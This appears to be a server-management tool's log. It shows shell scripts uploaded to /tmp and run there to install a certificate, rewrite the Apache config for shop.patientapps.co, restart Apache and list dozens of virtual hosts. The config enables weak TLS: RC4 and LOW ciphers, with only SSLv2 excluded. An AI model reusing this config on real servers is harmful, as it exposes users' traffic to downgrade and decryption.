iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-09 12:36:00: 

chmod 755 /tmp/pkp879332; /tmp/pkp879332; rm /tmp/pkp879332

2026-02-09 12:36:00: 


dir=/etc/ssl/certs


2026-02-09 12:36:00: 

PUT: /tmp/pkp669081

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_shop_co.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-09 12:36:00: 

chmod 755 /tmp/pkp669081; /tmp/pkp669081; rm /tmp/pkp669081

2026-02-09 12:36:00: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_shop_co.conf 43

<VirtualHost *:80>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>

<VirtualHost *:443>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>






2026-02-09 12:36:00: 

PUT: /tmp/pkp509982

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_shop_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_shop_co.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>

<VirtualHost *:443>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_shop_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_shop_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_shop_co.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_shop_co.conf= 1'
fi


2026-02-09 12:36:00: 

chmod 755 /tmp/pkp509982; /tmp/pkp509982; rm /tmp/pkp509982

2026-02-09 12:36:00: 




2026-02-09 12:36:00: 

PUT: /tmp/pkp108276

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-09 12:36:00: 

chmod 755 /tmp/pkp108276; /tmp/pkp108276; rm /tmp/pkp108276

2026-02-09 12:36:00: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-09 12:36:00: Establishing a connection
2026-02-09 12:36:00: 

PUT: /tmp/pkp601647

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-09 12:36:01: 

chmod 755 /tmp/pkp601647; /tmp/pkp601647; rm /tmp/pkp601647

2026-02-09 12:36:01: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
